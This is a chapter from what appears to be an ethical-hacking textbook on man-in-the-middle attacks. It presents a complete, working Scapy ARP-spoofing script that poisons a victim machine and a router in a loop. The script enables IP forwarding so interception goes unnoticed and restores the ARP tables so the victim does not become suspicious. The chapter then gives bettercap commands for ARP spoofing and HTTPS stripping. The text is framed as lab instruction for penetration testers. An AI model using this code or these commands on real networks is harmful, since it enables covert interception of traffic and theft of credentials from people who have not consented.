Chapter 5: Man in the Middle Attacks

In the previous chapter, we learned about network scanning. Network scanning is a part of information gathering that allows users to find hosts in a local network. In this chapter, we will learn how to utilize this information to attacks victims on the local network. We will cover the following topics in this chapter:

  • Why do we need ARP?
  • Building an ARP spoof program
  • Monitoring traffic
  • Encrypted traffic
  • Restoring ARP tables manually
  • Decrypting the network traffic

Why do we need ARP?

In the previous chapters, we mentioned what an address resolution protocol is. In this chapter, we will look at it in more depth. In the local network, communication takes place between devices using MAC addresses instead of IP addresses. These are also called link layer addresses. ARP is a request response protocol, which means that one device requests a service and the other one replies in response to that request. Suppose that two devices are present in a network with no external internet connectivity. For them to communicate with each other, they need to rely on a underlying protocol, which is known as the layer 2 protocol. We've already briefly learned about ARP tables. By using an ARP table, a device can maintain a list of all active devices on the network by using a mapping of their IP and MAC addresses. This ARP table technique is quite old and was designed without security considerations in mind. It has some inherent weaknesses that can be exploited, as we will see in later sections.

ARP poisoning

Before we learn about ARP poisoning, let's look at the ARP again. ARP is basically a program that's installed on your PC that performs all tasks related to ARP automatically, without needing any input from the user. To get an address from a machine, it puts FF:FF:FF:FF:FF:FF as a broadcast address in its request. It does this to send the request to all the active devices in the network while asking the relevant question. Subsequently, the intended device replies with the appropriate answer. Let's take a look at the following diagram to see how ARP requests and responses are generated:

Figure 5.1 – ARP requests and responses

Figure 5.1 – ARP requests and responses

Device A sends a request and device B replies with an answer, along with its MAC address. Looks pretty straightforward, right? Actually, there is a design flaw in this protocol. When device B receives a request, it has no way of knowing whether the information being provided by the requesting device is correct or not. In this way, you can easily spoof the packets. More on this in a moment.

Let's consider a simple scenario:

Figure 5.2 – Internet communication

Figure 5.2 – Internet communication

Let's say device A wants to communicate with an internet-based device. As we already know, it can't directly connect to the internet by itself – it must go through a gateway. The corresponding IP and MAC address of the device are shown in the following image. Device A and the gateway maintain their own ARP tables. For device A to send a request to the external server, it will look inside its own ARP table to find the MAC address of the gateway device. Once it successfully finds the device's MAC address, it will send the request to the gateway. This is represented by step 1 in the preceding diagram. If there is only one device in the local network, the ARP table in device A will look something like this:

Figure 5.3 – ARP table in device A

Figure 5.3 – ARP table in device A

Now, since the gateway is a bridge between a local network and the internet, I will figure out the external IP address for the packet. Then, using its own external or public IP address, it will forward the request to the server located at 77.88.99.11. This is step 2. The server will process the request and reply to the router in step 3. The router will receive this reply and figure out where the external packet should go to. How does it figure out where the packet should go? As you may have guessed, it will look at the destination address and destination port. Using its own ARP table, it will see where the respective device is located. The ARP table in the router will look like this:

Figure 5.4 – ARP table in the router

Figure 5.4 – ARP table in the router

In step 4, the router will simply forward the reply to the intended recipient.

So far, we've learned how a normal request response works. Now, we will add an additional player called the hacker/pentester.

ARP works in the following way. As we already know, devices keep connecting and disconnecting to a network all the time, so the ARP program doesn't keep this ARP table indefinitely. Another reason for this is that the dynamic host control protocol (DHCP) server automatically assigns IP addresses to devices in a network. So, when a device goes offline, the IP address becomes available again so that it can be assigned to new connected devices. For this reason, devices in a network periodically send ARP responses to other devices in a network to let them know of their current IP and MAC addresses. This ensures that all the devices have an updated record of the IP and MAC addresses. Now, when a device receives an ARP response, it just updates its ARP table without any authentication or validation. You can see the problem here, right? If a device creates an ARP response with fake information and sends it over to a victim/target machine, the receiving device will update its ARP table with fake information, without validating the correctness of the data. Another weakness in the ARP protocol is that it allows us to accept responses, even if it didn't send a request.

Let's take a look at what happens when we add a malicious actor to a network:

Figure 5.5 – Attacker added to the network

Figure 5.5 – Attacker added to the network

Here, device B, which belongs to the hacker, will generate two fake ARP responses – one for the victim and one for the gateway router. It will send an arp reply to device A and pretend to be a router. Similarly, it will send a reply to the router and pretend to be device A. Now, both device A and the router will update their ARP tables with this new fake information. Now, if device A makes the same request as it did in the previous case to the external server, instead of the request going to the router, the request will go to the attacker. The attacker can then choose to forward the request to the router. At this point, the router will think the request is coming from device A while in reality, the request is coming from device B. Device B is, in fact, intercepting all the network traffic between the router and device A. Remember the CIA triad, which we learned about previously? Can you figure out which rule is being violated here? All three rules can be broken here, depending on what the hacker intends to do with the information here. Now, the hacker is effectively the man in the middle between the router and device A. This is why it is called a man in the middle (MITM) attack. This vulnerability is very well known and is called ARP poisoning.

Important Note

The ARP table gets reset after a certain period of time, so just sending one packet to spoof is not going to work properly. To be able to successfully spoof for longer periods, you need to constantly send these fake manufactured packets so that ARP tables don't get reset after a certain time.

Building an ARP spoof program

In this section, we will learn how to build an ARP spoof program. Before we move on, let's take a look at the ARP tables again in both Kali as well as the Windows. The ARP table in Kali Linux is as follows:

Figure 5.6 – ARP table in Kali Linux

Figure 5.6 – ARP table in Kali Linux

The ARP table in Windows looks like this. Take a look at the highlighted fields:

Figure 5.7 – ARP table in Windows 10

Figure 5.7 – ARP table in Windows 10

As you can see, they have the correct MAC addresses for the router located at 192.168.74.2. Kali is located at 192.168.74.128, while Windows 10 is located at 192.168.74.129.

To spoof these devices, we will take on this problem step by step. First, we will tackle spoofing the victim machine with the MAC address of the router.

Arp spoof project

Open VS Code in Kali Linux and create a new project named ARP spoof. Install the virtual environment, as shown in Chapter 2, Getting Started – Setting Up A Lab Environment. Once the virtual environment has been installed, enable the virtual environment by writing the following command:

source venv/bin/activate

This will activate the new virtual environment. Install the Scapy module inside this environment and create a new file named main.py.

To import all the scapy modules in one line without having to explicitly import everything separately, you can write the following line:

from scapy.all import *

* means that we want to import all the modules present in scapy. As we learned in the previous section, to spoof, we have to create fake responses. First, we will create a response intended for the victim. To do this, we will create an arp packet and see what fields can be set in it. To create an ARP packet and to see which fields are present, we can write the following code:

arp_response = ARP()

print(arp_response.show())

The output of this code looks like this:

Figure 5.8 – ARP packet fields

Figure 5.8 – ARP packet fields

The fields that we are interested in start from op onward. Op stands for operation or type of packet. This is a who has operation, which means that it is an ARP request. But we are interested in creating an ARP response instead. hwsrc is the MAC address of the Kali machine and similarly, psrc is its IP address. hwdst and pdst haven't been set for this packet yet. Now, we will make the following modifications in this packet in order to spoof the victim:

  • Change op to 2, implying that this is a response ARP packet, not a request. Note that by default, this value is 1, which means it corresponds to the who-has operation.
  • Change the psrc address field to make it equal to the value of the IP address of the router. Since our router is located at 192.168.72.2, we will set this field to this value.
  • Lastly, we will set pdst to the ip address of the victim machine, which is 192.168.74.129. We will also set the hwdst address, which is the victim's MAC address.

To see the MAC address of the Windows machine, you can write the following command in the Command Prompt or use the network scanner we created in the previous chapter:

Ipconfig /all

Once you have the necessary information, proceed to Python to make the following changes:

arp_response.op = 2

arp_response.pdst = "192.168.74.129" // windows IP

arp_response.hwdst = "00:0C:29:BE:47:14"     // windows mac

arp_response.hwsrc = "00:0c:29:90:79:02"     // kali mac

arp_response.psrc = "192.168.74.2"   // fake field value

Only the last field is crafted; we will be sending it from 192.168.74.128 while pretending to be at 192.168.74.2. Once all the fields have been set, you can print them to see if they have been defined correctly:

print(arp_response.show())

The following screenshot shows the spoofed packet according to the code we wrote previously:

Figure 5.9 – Spoofed ARP packet

Figure 5.9 – Spoofed ARP packet

Here, you can see that the op field is now a response instead of request. The field value is now is-at. Similarly, the psrc field is pretending to be the IP of the router instead of Kali. Note that we haven't sent the packet yet. To send this packet, we can simply use the send function:

send(arp_response)

Now, if you run this program and quickly go to the Windows machine before the arp table gets reset, you will see that the arp table of the Windows machine has been poisoned and that its arp table entry shows the wrong MAC address for the 192.168.72.2 gateway. Instead of pointing to the actual gateway, it now points to Kali's MAC address:

Figure 5.10 – Poisoned ARP table in Windows

Figure 5.10 – Poisoned ARP table in Windows

Compare this with Figure 5.6 for the value of 192.168.74.2. Here, you can see that the value of the physical address in this new table has been modified. Note that if you take too long to view this value, it will be reset automatically. We will learn how to stop it from being reset automatically for a longer poisoning period in a moment.

Now, let's create a function so that we can call it easily:

def spoof_victim():

    arp_response = ARP()

    arp_response.op = 2

    arp_response.pdst = "192.168.74.129"

    arp_response.hwdst = "00:0C:29:BE:47:14"

    arp_response.hwsrc = "00:0c:29:90:79:02"

    arp_response.psrc = "192.168.74.2"

    send(arp_response)

We will create a similar function to spoof the router as well:

def spoof_router():

    arp_response = ARP()

    arp_response.op = 2

    arp_response.pdst = "192.168.74.2" // router's IP

    arp_response.hwdst = "00:50:56:ff:74:8b" // router's mac

    arp_response.hwsrc = "00:0c:29:90:79:02" // kali's mac

    arp_response.psrc = "192.168.74.129" // fake pretending to be device A.

    send(arp_response)

In this function, we have changed the values of pdst, hwdst, and psrc.

The complete program is as follows:

from scapy.all import *

def spoof_victim():

    arp_response = ARP()

    arp_response.op = 2

    arp_response.pdst = "192.168.74.129"

    arp_response.hwdst = "00:0C:29:BE:47:14"

    arp_response.hwsrc = "00:0c:29:90:79:02"

    arp_response.psrc = "192.168.74.2"

    send(arp_response)

def spoof_router():

    arp_response = ARP()

    arp_response.op = 2

    arp_response.pdst = "192.168.74.2"

    arp_response.hwdst = "00:50:56:ff:74:8b"

    arp_response.hwsrc = "00:0c:29:90:79:02"

    arp_response.psrc = "192.168.74.129"

    send(arp_response)

if __name__ == "__main__":

    spoof_victim()

    spoof_router()

    

Note that this will only spoof these devices once. To create a permanent spoofing, we can add these function calls to a loop and continuously send these packets after a certain delay. This way, the arp tables will not get a chance to reset and you will be able to permanently spoof these devices, as long as your spoof program is running.

We can also try to put an exit condition in a loop. We will use KeyboardInterrupt to exit. Use the following code to send packets continuously after a delay of every 2 seconds:

    try:

        while True:

            spoof_victim()

            spoof_router()

            time.sleep(2)

    except KeyboardInterrupt as err:

        print("exiting")

Note that you will need to import the time module at the top of file. Although our spoofing program looks complete, there is a slight problem – if the victim now tries to request an internet server, they will see an internet connectivity issue. Run the arp spoof program on Linux and go to the Windows machine and try to access a website. You will see a window similar to the following:

Figure 5.11 – No connection

Figure 5.11 – No connection

This is because the packets are going to the Kali machine but it is blocking packets from being forwarded. To enable packet forwarding, run the following command on your Linux Terminal:

sysctl -w net.ipv4.ip_forward=1

This will enable IP forwarding on the Kali machine. Now, the Windows user will be able to access the internet without even noticing that someone is intercepting their traffic:

Figure 5.12 – Enabling IPv4 forwarding

Figure 5.12 – Enabling IPv4 forwarding

Now, if you go to the Windows machine and try to access a website again, you should have internet connectivity. Now, your spoof program should be working perfectly.

Monitoring traffic

To see what the user is doing, you can open Wireshark on Kali and select the eth0 interface to see all the traffic going over the network. To see only the traffic originating from the Windows machine, you can set a filter in the filter menu. Use the following filter:

ip.src == 192.168.74.129

This will only display the traffic that originates from the Windows machine. Now, if you were to go to the Windows machine and access a website, you should see the packet arriving in Wireshark:

Figure 5.13 – Wireshark traffic from a Windows machine

Figure 5.13 – Wireshark traffic from a Windows machine

In this section, we learned how to poison an ARP table and monitor the network traffic between the victim device and the internet. In the next section, we will learn how this network traffic is encrypted and how this encryption can be broken.

Encrypted traffic

In the early days of the internet, internet traffic was mostly text-based, so everyone sniffing over the network could see exactly what was being sent over it. This was extremely unsecure and people could not send sensitive information such as passwords over the network. Since then, the internet has come a long way. Now, most internet traffic, except for some really old websites, is secure and uses encryption. This means that even if you can see the traffic, you will not be able to read it since it is encrypted. If you see the https tag on a website's URL, this means that the network traffic is encrypted and can't be read over the wire. There are tools that can be used to decrypt this traffic.

Restoring ARP tables manually

Now that we have seen how to successfully spoof packets, when we close our program by using a keyboard interrupt, such as Ctrl + C, we will see that the internet becomes unavailable again on our Windows machine. This is because the ARP tables have been poisoned and we haven't restored them, so they don't know where to route the network traffic. This will automatically reset itself after a couple of minutes. However, this can raise suspicion for the victim, and they might realize that someone is tampering with their network traffic. To avoid this, we can restore these tables by sending over correct information when we exit the program. We can use the following program to restore the correct values:

def restore():

    # restoring router table

    arp_response = ARP()

    arp_response.op = 2

    arp_response.pdst = "192.168.74.2"

    arp_response.hwdst = "00:50:56:ff:74:8b"

    arp_response.hwsrc = "00:0C:29:BE:47:14"

    arp_response.psrc = "192.168.74.129"

    send(arp_response)

    #restoring windows table

    arp_response = ARP()

    arp_response.op = 2

    arp_response.pdst = "192.168.74.129"

    arp_response.hwdst = "00:0C:29:BE:47:14"

    arp_response.hwsrc = "00:50:56:ff:74:8b"

    arp_response.psrc = "192.168.74.2"

    send(arp_response)

Note that these values are for my platform; they will be different for your platform, so you should change these values accordingly. To restore the ARP table, send these values to the router from our Linux machine while pretending to be device A. This time, instead of entering fake information, enter the correct values. Do the same for the Windows machine. Finally, call this function when a keyboard interrupt occurs, as shown here:

    try:

        while True:

            spoof_victim()

            spoof_router()

            time.sleep(2)

    except KeyboardInterrupt as err:

        print("restoring ARP tables")

        restore()

        print("exiting")

In this section, we learned how to poison an ARP table, monitor the network traffic, and restore the ARP tables in the victim machines to make sure they're not suspicious of our activity. Next, we will learn how to decrypt this network traffic.

Decrypting the network traffic

As we saw in the previous section, we can intercept traffic using a man in the middle attack. However, this attack is rarely useful on its own since all the browser traffic nowadays is encrypted, so even if you were able to intercept traffic, you won't be able to do much. You can bypass this procedure by using SSL stripping. Intercepting traffic without encryption is also sometimes useful when you want to monitor a user's activity. This can help you figure out which websites a user is visiting the most. Using this information alongside social engineering attacks can help you compromise the victim's machine.

HTTPS versus HTTP

To understand how SSL stripping works, we need to understand how the hypertext transfer protocol (HTTP) and HTTPS protocols work. HTTPS is a secure version of HTTP, as indicated by the S at the end of its name. It was developed in the early days of the internet, when information was sent in the form of human readable text and anyone intercepting or monitoring the traffic could potentially see what was going on.

A typical HTTP request would look something like this:

Figure 5.14 – HTTP request

Figure 5.14 – HTTP request

As you can see, the body of the HTTP request is in the form of plain text, which means it can be read easily. So, if you were to send your email or password in plain text to the server, the hacker could potentially steal your credentials. You already know how dangerous this can be. To avoid this problem, HTTPS was developed, which could encrypt the body of the message so that only the server and requestor can read it with the proper encryption keys – no middle man can read it. Once the server receives the request, it will respond with the appropriate reply. The server's reply would look like this:

Figure 5.15 – HTTP reply

Figure 5.15 – HTTP reply

The last line represents the body of the reply, which is the web page that the user requested. In the case of HTTPS, the body of these requests and responses would be encrypted and appear as gibberish to the attacker. Now, let's focus on how we can bypass this.

Bypassing HTTPS

Although the majority of websites nowadays support HTTPS instead of HTTP, on the server side, in order to maintain backward compatibility, the server still allows requests to come from HTTP and once they receive them, they will check whether the client/requestor supports HTTPS or not. We can take advantage of this to bypass this security mechanism. The following diagram shows how HTTP requests work with a web server:

Figure 5.16 – HTTP cycle

Figure 5.16 – HTTP cycle

When the client first accesses a website, it is usually over HTTP protocol, so it sends an unsecure request to initiate a connection. The server receives this request and asks the client whether it supports HTTPS or not. If the client supports HTTPS, the server will say, Why don't you talk with me over HTTPS?. The client then switches to HTTPS. Once this happens, all the communication is encrypted.

This is where we will introduce our middle man attacker. We will do so in a way to fool both the server and the client. Let's take a look at the following diagram:

Figure 5.17 – MITM attack with SSL stripping

Figure 5.17 – MITM attack with SSL stripping

During the first phase, the client will make an HTTP request to the server. The attacker is sitting between the client and the server and is using the arp spoofing program to monitor the traffic that we developed in the previous chapter. They will take this request from the client, convert it into an HTTPS request, and forward it to the server. The server will think that the client is talking over HTTPS instead of HTTP. Similarly, the attacker will take replies from the server, decrypt them, and read what is happening. Once they've done that, they will forward them to the victim/client. In this way, the victim will think that the server is talking over HTTP, while the server will think that the client is talking over HTTPS. Meanwhile, the attacker is reading all the network traffic.

The job of the attacker is to encrypt and decrypt the SSL certificates that are used by servers for authenticating security on the transport layer. They form the basis of secure communication. Learning how to perform SSL stripping is outside the scope of this book as it requires extensive knowledge of networking, which could be a book on its own. Our goal here is to compromise the system using this tool. We will use a famous SSL stripping tool called bettercap to do so. We will use version 2.23. Note that the latest tools for this component don't seem to work properly. It can be found at https://github.com/bettercap/bettercap/releases/download/v2.23/bettercap_linux_amd64_2.23.zip.

Download this tool and run it on Linux.

Once you've downloaded it, put this zipped file in your desired location on Kali Linux and extract the module. You will see an executable named bettercap. You could directly run this executable and it would work just fine. However, I recommend putting this in the /usr/bin/ directory so that you can access it from anywhere, so copy this file into /usr/bin/.

To copy the file, use the following command:

sudo cp bettercap /usr/bin/bettercap

Once copied, simply open a Terminal and type bettercap to run the file. Before proceeding, we need to do a couple of things to start it. Write the following command:

sudo bettercap

The interface will look like this:

Figure 5.18 – bettercap version

Figure 5.18 – bettercap version

Next, you need to update a couple of things; that is, some internal files for this module called caplets. Don't worry – you don't need to understand much about caplets here. Just write the following commands and let the magic happen:

caplets.update

This will download some files and update them.

Exit this program to let the changes take place. Now, let's run the program again with the following command:

sudo bettercap –-silent -iface eth0

This command will run bettercap in silent mode while using eth0 as its main network interface. To see which devices are available on the network, you can type in the following command:

net.probe on

The output of this command will look something like this:

Figure 5.19 – Live hosts on the network

Figure 5.19 – Live hosts on the network

Let's try to use the internal arpspoof program for this application. Type in the following command to set up arp spoofing for our Windows machine:

set arp.spoof.targets 192.168.74.129

This will set up the victim. To start the arp spoofing program, we can write the following command:

set arp.spoof.internal true

set arp.spoof on

This will start spoofing the devices:

Figure 5.20 – Device spoofing

Figure 5.20 – Device spoofing

At this point, we've come to the SSL stripping part. To start stripping the HTTPS traffic, we need to go to the Windows machine and clear all browsing history. This will ensure that we don't load the cached versions of the websites.

If you want to see what services are running on bettercap, you can use the following help command:

Figure 5.21 – Help command

Figure 5.21 – Help command

Next, to see the raw HTTP traffic, run the following command:

hstshijack/hstshijack

This will start stripping the traffic. Now, if you go to the Windows machine and go to a website such as google.com, you will see that the website connection is unsecure. If you go to google.com, you will notice a Not secure tag before the URL.

You should now have an unsecure version of Google. If you go to your Kali Linux terminal where bettercap is running, you should see the network traffic.

Attention!

Note that big companies such as Google, Facebook, and so on spend huge amounts of money on their security and are constantly trying to improve their protection methods, so one attack that works today might not work tomorrow. That is why penetration testers and cyber security defense teams are constantly involved in a chasing game. The goal of the previous example is to show how these methods work in practice. By the time you use it for yourself, things might have changed and this attack method may or may not work. It is important to stay updated. The purpose of this book is not to get you get stuck on using specific tools but to show you the way penetration testers and security analysts think.

Summary

In this chapter, we built on the knowledge we learned about in the previous chapter and used it to build an ARP spoof program, which enabled us to intercept traffic on a local network. Then, we learned how the HTTP and HTTPS protocols work and how they can be broken by man in the middle attacks.

In next chapter, we will look at a more exciting topic: malware development. This can help us manually take charge of a victim's machine and perform certain tasks on it. By doing so, we will learn how to build a malware Remote Access Tool to take control of the victim's computer. We will build a program that will enable us to remotely take control of the victim's machine and perform several tasks on it. See you in the next chapter!

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset